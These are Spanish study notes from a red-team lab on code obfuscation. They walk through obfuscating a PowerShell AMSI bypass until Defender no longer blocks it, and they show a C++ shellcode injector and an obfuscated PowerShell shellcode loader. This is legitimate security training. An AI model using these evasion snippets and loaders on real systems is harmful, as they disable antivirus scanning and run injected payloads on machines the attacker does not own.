notes - b0ySie7e
GithubPortafolioWrite-ups
  • 👋Bienvenido a mi blog
  • Introducción a la ciberseguridad
    • 📓¿Como inicio en la ciberseguridad?
  • Teoria y Conceptos
    • 📓Redes
      • Identificación de Dispositivos
      • Local Area Network (LAN)
      • Sub redes
      • Procolo ARP
      • Protocolo DHCP
    • 📓Pentesting
      • OSSTMM
      • OWASP
      • NCSC CAF
  • Sistemas Operativos
    • Linux
      • Comandos
    • Windows
      • Comandos
  • Enumeración
    • Enumeracion de red
      • Enumeracion de Hosts
      • Enumeracion de Puertos y servicios
    • FootPrinting
      • Domain Information
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP-POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Enumeración web
      • Uso de google dorks
      • Whois
      • Dig
      • Enumeraciónde subdominios
      • Enumeración automatizada
  • Hacking Web
    • Ataques Comunes
      • Fuzzing
      • Sub dominios
      • SQL Injection
      • Cross-Site Scripting
      • Local File Inclusion
      • Remote File Inclusion
      • File Upload Attacks
      • Command Injections
    • Otras explotaciones
  • Escalada de Privilegios
    • 📕Linux
      • Enumeración automatizada - Tools
      • Kernel Exploit
      • Sudo
      • SUID
      • Capabilities
      • Cron Jobs
      • Path
      • NFS
    • 📕Windows
      • Enumeración automatizada - Tools
      • Harvesting Passwords from Usual Spots
      • Other Quick Wins
      • Abusing Service Misconfigurations
      • Abusing dangerous privileges
      • Abusing vulnerable software
  • Guias y Herramientas
    • Git
    • Buffer Over Flow
    • MetaSploit
      • Introducción
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Sessions
    • Nmap
    • Pivoting Tunneling Port Forwarning
      • Port Forwarding SSH
      • Pivoting Metasploit
      • Socat Redirection with a Reverse Shell
      • Socat Redirection with a Bind Shell
      • Others tools for pivoting
    • Transferencias de Archivos
      • Evading Detection
      • Linux File Transfer Methods
      • Miscellaneous File Transfer Methods
      • Transferring Files with Code
      • Windows File Transfer Methods
      • Otros
        • Usando ICMP
        • Usando ncat y tar
    • Shell y Payloads
      • Spawning shell interactiva
      • Conexión de RDP
    • Password Attacks
      • Cracking
      • Windows Local Password Attacks
      • Linux Local Password Attacks
      • Windows Lateral Movement
    • Fortinet
      • Configuración estática de Firewall
      • Licencia
      • Configuración de interfaces
      • Primera política
      • Rutas estaticas
  • Red Team Path - THM
    • Enumeración
      • Linux
      • Windows
    • Movimiento lateral
      • Movimiento Lateral
    • Pivoting
      • PortForwarining y pivoting
    • Host Evasion
      • Windows Internal
      • Introduccion a Windows
      • Abusing Windows Internal
      • Introducción a Antivirus
      • AV Evasion ShellCode
      • Principios de Ofuscación
      • Evasión de Firmas
      • Bypass UAC
      • Runtime Detection Evasion
      • Evading Logging and Monitoring
      • Living Off the Land
    • Networking Security Evasión
      • Network Security Solutions
      • Firewalls
      • Sandbox Evasion
    • Comprometiendo un directorio activo
      • Active Directory Basics
      • Breaching Active Directory
      • Enumerating Active Directory
      • Exploiting Active Directory
      • Persisting Active Directory
      • Credentials Harvesting
Con tecnología de GitBook
En esta página
  • Origins of Obfuscation
  • Obfuscation's Function for Static Evasion
  • Obfuscation's Function for Analysis Deception
  • Code Flow and Logic
  • Arbitrary Control Flow Patterns
  • Protecting and Stripping Identifiable Information
  • Nombres de objetos
  • Estructura del código
  • Propiedades de archivo y compilación
  1. Red Team Path - THM
  2. Host Evasion

Principios de Ofuscación

AnteriorAV Evasion ShellCodeSiguienteEvasión de Firmas

Última actualización hace 10 meses

Origins of Obfuscation

La ofuscación se utiliza ampliamente en muchos campos relacionados con el software para proteger la propiedad intelectual ( PI ) y otra información de propiedad exclusiva que pueda contener una aplicación.

Por ejemplo, el popular juego Minecraft utiliza el ofuscador para ofuscar y minimizar sus clases de Java. Minecraft también lanza mapas de ofuscación con información limitada como traductor entre las antiguas clases no ofuscadas y las nuevas clases ofuscadas para apoyar a la comunidad de modding.

Este es sólo un ejemplo de la amplia gama de formas en que se utiliza públicamente la ofuscación. Para documentar y organizar la variedad de métodos de ofuscación, podemos hacer referencia a . Este artículo de investigación organiza los métodos de ofuscación por capas , similar al modelo OSI pero para el flujo de datos de aplicaciones. A continuación se muestra la figura utilizada como descripción general completa de cada capa de taxonomía.

Luego, cada subcapa se divide en métodos específicos que pueden lograr el objetivo general de la subcapa.

En esta sala, nos centraremos principalmente en la capa de elementos de código de la taxonomía, como se ve en la siguiente figura.

Para utilizar la taxonomía, podemos determinar un objetivo y luego elegir un método que se ajuste a nuestros requisitos. Por ejemplo, supongamos que queremos ofuscar el diseño de nuestro código pero no podemos modificar el código existente. En ese caso, podemos inyectar código basura, resumido en la taxonomía:

Code Element Layer> Obfuscating Layout> Junk Codes.

¿Pero cómo podría usarse esto de manera maliciosa? Los adversarios y los desarrolladores de malware pueden aprovechar la ofuscación para romper firmas o impedir el análisis de programas.

Obfuscation's Function for Static Evasion

Para evadir firmas, los adversarios pueden aprovechar una amplia gama de reglas lógicas y sintácticas para implementar la ofuscación. Esto comúnmente se logra abusando de prácticas de ofuscación de datos que ocultan información identificable importante en aplicaciones legítimas.

Método de ofuscación

Objetivo

Array Transformation

Transforma una matriz dividiéndola, fusionándola, plegándola y aplanándola

Data Encoding

Codifica datos con funciones matemáticas o cifrados.

Data Procedurization

Sustituye datos estáticos con llamadas a procedimientos.

Data Splitting/Merging

Distribuye información de una variable en varias variables nuevas.

# Object Concatenation

La concatenación es un concepto de programación común que combina dos objetos separados en un solo objeto, como una cadena.

Un operador predefinido define dónde ocurrirá la concatenación para combinar dos objetos independientes. A continuación se muestra un ejemplo genérico de concatenación de cadenas en Python.

>>> A = "Hello "
>>> B = "THM"
>>> C = A + B
>>> print(C)
Hello THM
>>>

Dependiendo del lenguaje utilizado en un programa, puede haber operadores predefinidos diferentes o múltiples que se pueden usar para la concatenación. A continuación se muestra una pequeña tabla de lenguajes comunes y sus correspondientes operadores predefinidos.

Language

Concatenation Operator

Python

“+”

PowerShell

“+”, ”,”, ”$”, or no operator at all

C#

“+”, “String.Join”, “String.Concat”

C

“strcat”

C++

“+”, “append”


A continuación observaremos una regla estática de Yara e intentaremos utilizar la concatenación para evadir la firma estática.

rule ExampleRule
{
    strings:
        $text_string = "AmsiScanBuffer"
        $hex_string = { B8 57 00 07 80 C3 }

    condition:
        $my_text_string or $my_hex_string
}

Cuando un binario compilado se escanea con Yara, creará una alerta/detección positiva si la cadena definida está presente. Al utilizar la concatenación, la cadena puede ser funcionalmente la misma, pero aparecerá como dos cadenas independientes cuando se escanee, lo que no generará alertas.

IntPtr ASBPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); 
IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer"); 

Si el segundo bloque de código se escaneara con la regla Yara, ¡no habría alertas!


A partir de la concatenación, los atacantes también pueden utilizar caracteres no interpretados para alterar o confundir una firma estática. Estos se pueden utilizar de forma independiente o con concatenación, dependiendo de la solidez/implementación de la firma. A continuación se muestra una tabla de algunos caracteres comunes no interpretados que podemos aprovechar.

Character

Purpose

Example

Breaks

Break a single string into multiple sub strings and combine them

('co'+'ffe'+'e')

Reorders

Reorder a string’s components

('{1}{0}'-f'ffee','co')

Whitespace

Include white space that is not interpreted

.( 'Ne' +'w-Ob' + 'ject')

Ticks

Include ticks that are not interpreted

d`own`LoAd`Stri`ng

Random Case

Tokens are generally not case sensitive and can be any arbitrary case

dOwnLoAdsTRing

Utilizando el conocimiento que ha acumulado a lo largo de esta tarea, oculte el siguiente fragmento de PowerShell hasta que eluda las detecciones de Defender.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Para comenzar, le recomendamos dividir cada sección del código y observar cómo interactúa o se detecta. Luego puede dividir la firma presente en la sección independiente y agregarle otra sección hasta que tenga un fragmento limpio.

Una vez que crea que su fragmento está lo suficientemente ofuscado, envíelo al servidor web en http://MACHINE_IP ; Si tiene éxito, aparecerá una bandera en una ventana emergente.

Si todavía está atascado, le proporcionamos un tutorial de la solución a continuación.

Para comenzar a intentar limpiar este fragmento de código, debemos desglosarlo y comprender dónde se originan las alertas.

Podemos dividir el fragmento donde está presente cada cmdlet ( GetField, SetValue)

  1. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

  2. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static')

  3. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Ejecutemos el primer fragmento de código y veamos qué devuelve PowerShell .

PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

No es sorprendente... podemos dividir aún más este fragmento dividiendo el ensamblado .NET y viendo qué parte genera una alerta.

PS M:\\> [Ref].Assembly.GetType('System')
PS M:\\> [Ref].Assembly.GetType('System.Management')
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation')
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Ahora sabemos que eso AmsiUtilscontribuye directamente a la alerta. A continuación, podemos apuntarlo con concatenación para dividirlo e intentar limpiar esta sección.

PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils')

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
False    False    AmsiUtils                                System.Object

¡Éxito! Ahora podemos agregar nuestro siguiente fragmento a esta versión limpia del primer fragmento y ejecutarlo.

PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Ahora bien, este fragmento puede ser más difícil de rastrear…. Con algunos conocimientos previos de PowerShell, podemos asumir queNonPublic son Staticbastante estándar y no contribuirían a la firma. Podemos asumir amsiInitFailedque es sobre lo que Defender está alertando e intentar dividirlo.

PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic')

Name                   : amsiInitFailed
MetadataToken          : 67114384
[snip]
...
[snip]
IsSecurityTransparent  : False
CustomAttributes       : {}

¡Éxito! Ahora podemos agregar nuestro siguiente fragmento a esta versión limpia del primer y segundo fragmento y ejecutarlo.

PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS M:\\>

Esto es interesante. ¿No parece haber ningún valor de parámetro que pueda contribuir a esta alerta? Esto debe significar que Defender alerta sobre la presencia de cada cmdlet juntos para determinar si se trata de un fragmento malicioso. Para resolver este problema, necesitamos separar los cmdlets del resto del fragmento. Esta técnica se conoce como separación de código relacionado y a menudo se ve junto con la concatenación; cubriremos este concepto con más detalle en la tarea 8.

PS M:\\> $Value="SetValue"
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic').$Value($null,$true)
PS M:\\>

Obfuscation's Function for Analysis Deception

Después de ofuscar las funciones básicas del código malicioso, es posible que pueda pasar las detecciones de software, pero aún es susceptible al análisis humano. Si bien no es un límite de seguridad sin políticas adicionales, los analistas y los ingenieros inversos pueden obtener un conocimiento profundo de la funcionalidad de nuestra aplicación maliciosa y detener las operaciones.

Los adversarios pueden aprovechar la lógica y las matemáticas avanzadas para crear códigos más complejos y difíciles de entender para combatir el análisis y la ingeniería inversa.

Método de ofuscación

Objetivo

Junk Code

Agregar instrucciones basura que no son funcionales, también conocidas como códigos auxiliares(code stubs)

Separation of Related Code

Separar códigos o instrucciones relacionados para aumentar la dificultad en la lectura del programa.

Stripping Redundant Symbols

Elimina información simbólica, como información de depuración u otras tablas de símbolos.

Meaningless Identifiers

Transformar un identificador significativo en algo sin sentido

Implicit Controls

Convierte instrucciones de controles explícitas en instrucciones implícitas

Dispatcher-based Controls

Determina el siguiente bloque que se ejecutará durante el tiempo de ejecución.

Probabilistic Control Flows

Introduce replicaciones de flujos de control con la misma semántica pero sintaxis diferente.

Bogus Control Flows

Flujos de control agregados deliberadamente a un programa pero nunca se ejecutarán

Code Flow and Logic

El flujo de control es un componente crítico de la ejecución de un programa que definirá cómo procederá lógicamente un programa. La lógica es uno de los factores determinantes más importantes para el flujo de control de una aplicación y abarca varios usos, como declaraciones if/else o bucles for . Tradicionalmente, un programa se ejecutará de arriba hacia abajo; cuando se encuentra una declaración lógica, continuará la ejecución siguiendo la declaración.

A continuación se muestra una tabla de algunas declaraciones lógicas que puede encontrar al tratar con flujos de control o lógica de programa.

Logic Statement

Purpose

if/else

Executes only if a condition is met, else it will execute a different code block

try/catch

Will try to execute a code block and catch it if it fails to handle errors.

switch case

A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default

for/while loop

A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.

Para concretar este concepto, podemos observar una función de ejemplo y su correspondiente CFG ( gráfico de flujo de control ) para representar sus posibles rutas de flujo de control.

x = 10 
if(x > 7):
	print("This executes")
else:
	print("This is ignored")

¿Qué significa esto para los atacantes? Un analista puede intentar comprender la función de un programa a través de su flujo de control; mientras que el flujo problemático, lógico y de control es casi fácil de manipular y hacer arbitrariamente confuso. Cuando se trata de flujo de control, un atacante pretende introducir una lógica suficientemente oscura y arbitraria como para confundir a un analista, pero no demasiada como para generar más sospechas o potencialmente ser detectado por una plataforma como malicioso.

Arbitrary Control Flow Patterns

Para crear patrones de flujo de control arbitrarios, podemos aprovechar las matemáticas, la lógica y/u otros algoritmos complejos para inyectar un flujo de control diferente en una función maliciosa.

Podemos aprovechar los predicados para elaborar estos complejos algoritmos lógicos y/o matemáticos. Los predicados se refieren a la toma de decisiones de una función de entrada para devolver verdadero o falso . Desglosando este concepto en un nivel alto, podemos pensar en un predicado similar a la condición que usa una declaración if para determinar si un bloque de código se ejecutará o no, como se ve en el ejemplo de la tarea anterior.

El tema de los predicados opacos requiere una comprensión más profunda de las matemáticas y los principios informáticos, por lo que no lo cubriremos en profundidad, pero observaremos un ejemplo común.

x = 0
while(x > 1):
	if(x%2==1):
		x=x*3+1
	else:
		x=x/2
	if(x==1):
		print("hello!") 

En el fragmento de código anterior, la conjetura de Collatz solo realizará sus operaciones matemáticas si x > 1, lo que dará como resultado 1o TRUE. Según la definición del problema de Collatz, siempre devolverá uno para una entrada de número entero positivo, por lo que la afirmación siempre devolverá verdadero si xes un número entero positivo mayor que uno.

Para probar la eficacia de este predicado opaco, podemos observar su CFG ( Gráfico de flujo de control ) a la derecha. Si así es como se ve una función interpretada, imagínense cómo podría verse una función compilada para un analista.


Utilizando el conocimiento que ha acumulado a lo largo de esta tarea, póngase en la piel de un analista e intente decodificar la función original y el resultado del siguiente fragmento de código.

Si sigue correctamente las declaraciones impresas, obtendrá una marca que podrá enviar.

x = 3
swVar = 1
a = 112340857612345
b = 1122135047612359087
i = 0
case_1 = ["T","d","4","3","3","3","e","1","g","w","p","y","8","4"]
case_2 = ["1a","H","3a","4a","5a","3","7a","8a","d","10a","11a","12a","!","14a"]
case_3 = ["1b","2b","M","4b","5b","6b","c","8b","9b","3","11b","12b","13b","14b"]
case_4 = ["1c","2c","3c","{","5c","6c","7c","8c","9c","10c","d","12c","13c","14c"]
case_5 = ["1d","2d","3d","4d","D","6d","7d","o","9d","10d","11d","!","13d","14d"]
case_6 = ["1e","2e","3e","4e","5e","6e","7e","8e","9e","10e","11e","12e","13e","}"]

while (x > 1):
    if (x % 2 == 1):
        x = x * 3 + 1
    else:
        x = x / 2
    if (x == 1):
        for y in case_1:
            match swVar:
                case 1:
                    print(case_1[i])
                    a = 2
                    b = 214025
                    swVar = 2
                case 2:
                    print(case_2[i])
                    if (a > 10):
                        swVar = 6
                    else:
                        swVar = 3
                case 3:
                    print(case_3[i])
                    b = b + a
                    if (b < 10):
                        swVar = 5
                    else:
                        swVar = 4
                case 4:
                    print(case_4[i])
                    b -= b
                    swVar = 5
                case 5:
                    print(case_5[i])
                    a += a
                    swVar = 2
                case 6:
                    print(case_5[11])
                    print(case_6[i])
                    break
            i = i + 1 

Protecting and Stripping Identifiable Information

Nombres de objetos

Los nombres de los objetos ofrecen algunos de los conocimientos más importantes sobre la funcionalidad de un programa y pueden revelar el propósito exacto de una función. Un analista todavía puede deconstruir el propósito de una función a partir de su comportamiento, pero esto es mucho más difícil si no hay contexto para la función.

La importancia de los nombres de objetos literales puede cambiar dependiendo de si el lenguaje se compila o se interpreta . Si se utiliza un lenguaje interpretado como Python o PowerShell , entonces todos los objetos importan y deben modificarse. Si se utiliza un lenguaje compilado como C o C# , generalmente sólo son significativos los objetos que aparecen en las cadenas. Un objeto puede aparecer en las cadenas mediante cualquier función que produzca una operación IO .

A continuación observaremos dos ejemplos básicos de cómo reemplazar identificadores significativos tanto para un lenguaje interpretado como para un lenguaje compilado.

Como ejemplo de lenguaje compilado, podemos observar un inyector de proceso escrito en C++ que informa su estado a la línea de comando.

#include "windows.h"
#include <iostream>
#include <string>
using namespace std;

int main(int argc, char* argv[])
{
	unsigned char shellcode[] = "";

	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	string leaked = "This was leaked in the strings";

	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	cout << "Handle obtained for" << processHandle;
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	cout << "Buffer Created";
	WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	cout << "Process written with buffer" << remoteBuffer;
	remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(processHandle);
	cout << "Closing handle" << processHandle;
	cout << leaked;

	return 0;
}

Usemos cadenas para ver exactamente qué se filtró cuando se compiló este código fuente.

C:\>.\strings.exe "\Injector.exe"

Strings v2.54 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

!This program cannot be run in DOS mode.
>FU
z';
z';
...
[snip]
...
Y_^[
leaked
shellcode
2_^[]
...
[snip]
...
std::_Adjust_manually_vector_aligned
"invalid argument"
string too long
This was leaked in the strings
Handle obtained for
Buffer Created
Process written with buffer
Closing handle
std::_Allocate_manually_vector_aligned
bad allocation
Stack around the variable '
...
[snip]
...
8@9H9T9X9\\9h9|9
:$:(:D:H:
@1p1

Observe que todo el iostream se escribió en cadenas, e incluso se filtró la matriz de bytes del código shell. Este es un programa más pequeño, ¡así que imagina cómo sería un programa completo y sin ofuscaciones!

Podemos eliminar comentarios y reemplazar los identificadores significativos para resolver este problema.

#include "windows.h"

int main(int argc, char* argv[])
{
	unsigned char awoler[] = "";

	HANDLE awerfu;
	HANDLE rwfhbf;
	PVOID iauwef;

	awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(awerfu, iauwef, awoler, sizeof awoler, NULL);
	rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
	CloseHandle(awerfu);

	return 0;
}

Ya no deberíamos tener ninguna información de cadena identificable y el programa estará a salvo del análisis de cadenas.


Set-StrictMode -Version 2
[Byte[]] $Ait1m = @(0x3d, 0x50, 0x51, 0x57, 0x50, 0x4e, 0x5f, 0x50, 0x4f, 0x2f, 0x50, 0x57, 0x50, 0x52, 0x4c, 0x5f, 0x50)
[Byte[]] $ahv3I = @(0x34, 0x59, 0x38, 0x50, 0x58, 0x5a, 0x5d, 0x64, 0x38, 0x5a, 0x4f, 0x60, 0x57, 0x50)
[Byte[]] $Moo5y = @(0x38, 0x64, 0x2f, 0x50, 0x57, 0x50, 0x52, 0x4c, 0x5f, 0x50, 0x3f, 0x64, 0x5b, 0x50)
[Byte[]] $ooR5o = @(0x2e, 0x57, 0x4c, 0x5e, 0x5e, 0x17, 0x0b, 0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e, 0x17, 0x0b, 0x3e, 0x50, 0x4c, 0x57, 0x50, 0x4f, 0x17, 0x0b, 0x2c, 0x59, 0x5e, 0x54, 0x2e, 0x57, 0x4c, 0x5e, 0x5e, 0x17, 0x0b, 0x2c, 0x60, 0x5f, 0x5a, 0x2e, 0x57, 0x4c, 0x5e, 0x5e)
[Byte[]] $Reo5o = @(0x3d, 0x60, 0x59, 0x5f, 0x54, 0x58, 0x50, 0x17, 0x0b, 0x38, 0x4c, 0x59, 0x4c, 0x52, 0x50, 0x4f)
[Byte[]] $Reib3 = @(0x3d, 0x3f, 0x3e, 0x5b, 0x50, 0x4e, 0x54, 0x4c, 0x57, 0x39, 0x4c, 0x58, 0x50, 0x17, 0x0b, 0x33, 0x54, 0x4f, 0x50, 0x2d, 0x64, 0x3e, 0x54, 0x52, 0x17, 0x0b, 0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e)
[Byte[]] $Thah8 = @(0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e, 0x17, 0x0b, 0x33, 0x54, 0x4f, 0x50, 0x2d, 0x64, 0x3e, 0x54, 0x52, 0x17, 0x0b, 0x39, 0x50, 0x62, 0x3e, 0x57, 0x5a, 0x5f, 0x17, 0x0b, 0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57)
[Byte[]] $ii5Ie = @(0x34, 0x59, 0x61, 0x5a, 0x56, 0x50)
[Byte[]] $KooG5 = @(0x38, 0x54, 0x4e, 0x5d, 0x5a, 0x5e, 0x5a, 0x51, 0x5f, 0x19, 0x42, 0x54, 0x59, 0x1e, 0x1d, 0x19, 0x40, 0x59, 0x5e, 0x4c, 0x51, 0x50, 0x39, 0x4c, 0x5f, 0x54, 0x61, 0x50, 0x38, 0x50, 0x5f, 0x53, 0x5a, 0x4f, 0x5e)
[Byte[]] $io9iH = @(0x32, 0x50, 0x5f, 0x3b, 0x5d, 0x5a, 0x4e, 0x2c, 0x4f, 0x4f, 0x5d, 0x50, 0x5e, 0x5e)
[Byte[]] $Qui5i = @(0x32, 0x50, 0x5f, 0x38, 0x5a, 0x4f, 0x60, 0x57, 0x50, 0x33, 0x4c, 0x59, 0x4f, 0x57, 0x50)
[Byte[]] $xee2N = @(0x56, 0x50, 0x5d, 0x59, 0x50, 0x57, 0x1e, 0x1d)
[Byte[]] $AD0Pi = @(0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57, 0x2c, 0x57, 0x57, 0x5a, 0x4e)
[Byte[]] $ahb3O = @(0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57, 0x3b, 0x5d, 0x5a, 0x5f, 0x50, 0x4e, 0x5f)
[Byte[]] $yhe4c = @(0x2E, 0x5D, 0x50, 0x4C, 0x5F, 0x50, 0x3F, 0x53, 0x5D, 0x50, 0x4C, 0x4F)

function Get-Robf ($b3tz) {
    $aisN = [System.Byte[]]::new($b3tz.Count)
    for ($x = 0; $x -lt $aisN.Count; $x++) {
       $aisN[$x] = ($b3tz[$x] + 21)
    }
    return [System.Text.Encoding]::ASCII.GetString($aisN)
}
function Get-PA ($vmod, $vproc) {
    $a = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }).GetType((Get-Robf $KooG5))
    return ($a.GetMethod((Get-Robf $io9iH), [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($a.GetMethod((Get-Robf $Qui5i))).Invoke($null, @($vmod)))), $vproc))
}
function Get-TDef {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $vtdef = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName((Get-Robf $Ait1m))), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule((Get-Robf  $ahv3I), $false).DefineType((Get-Robf $Moo5y), (Get-Robf $ooR5o), [System.MulticastDelegate])
    $vtdef.DefineConstructor((Get-Robf $Reib3), [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags((Get-Robf $Reo5o))
    $vtdef.DefineMethod((Get-Robf $ii5Ie), (Get-Robf $Thah8), $var_return_type, $var_parameters).SetImplementationFlags((Get-Robf $Reo5o))
    return $vtdef.CreateType()
}

[Byte[]]$vopcode = @(BADGER_SHELLCODE)

$vbuf = ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $AD0Pi)), (Get-TDef @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))).Invoke([IntPtr]::Zero, $vopcode.Length, 0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($vopcode, 0x0, $vbuf, $vopcode.length)
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $ahb3O)), (Get-TDef @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))).Invoke($vbuf, $vopcode.Length, 0x20, [ref](0)) | Out-Null
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $yhe4c)), (Get-TDef @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([UInt32])))).Invoke(0, 0, $vbuf, [IntPtr]0, 0, [ref](0)) | Out-Null

Puede notar que algunos cmdlets y funciones se mantienen en su estado original... ¿a qué se debe? Dependiendo de sus objetivos, es posible que desee crear una aplicación que aún pueda confundir a los ingenieros inversos después de la detección, pero que no parezca sospechosa de inmediato. Si un desarrollador de malware ofuscara todos los cmdlets y funciones, aumentaría la entropía tanto en el lenguaje interpretado como en el compilado, lo que daría como resultado puntuaciones de alerta EDR más altas. También podría hacer que un fragmento interpretado parezca sospechoso en los registros si parece aleatorio o está visiblemente muy ofuscado.

Estructura del código

La estructura del código puede ser un problema molesto cuando se trata de todos los aspectos del código malicioso que a menudo se pasan por alto y no se identifican fácilmente. Si no se aborda adecuadamente en lenguajes interpretados y compilados, puede generar firmas o ingeniería inversa más sencilla por parte de un analista.

Como se explica en el documento de taxonomía antes mencionado, el código basura y el código de reordenamiento se utilizan ampliamente como medidas adicionales para agregar complejidad a un programa interpretado. Debido a que el programa no está compilado, un analista tiene una visión mucho mayor del programa y, si no se le infla artificialmente con complejidad, puede centrarse en las funciones maliciosas exactas de una aplicación.

La separación del código relacionado puede afectar tanto a los lenguajes interpretados como a los compilados y dar como resultado firmas ocultas que pueden ser difíciles de identificar. Un motor de firma heurística puede determinar si un programa es malicioso en función de las funciones circundantes o las llamadas API . Para eludir estas firmas, un atacante puede aleatorizar la aparición de código relacionado para engañar al motor haciéndole creer que es una llamada o función segura.

Propiedades de archivo y compilación

Los aspectos más menores de un binario compilado, como el método de compilación, pueden no parecer un componente crítico, pero pueden generar varias ventajas para ayudar a un analista. Por ejemplo, si un programa se compila como una versión de depuración, un analista puede obtener todas las variables globales disponibles y otra información del programa.

El compilador incluirá un archivo de símbolos cuando se compila un programa como compilación de depuración. Los símbolos suelen ayudar a depurar una imagen binaria y pueden contener variables globales y locales, nombres de funciones y puntos de entrada. Los atacantes deben ser conscientes de estos posibles problemas para garantizar prácticas de compilación adecuadas y que no se filtre información a un analista.

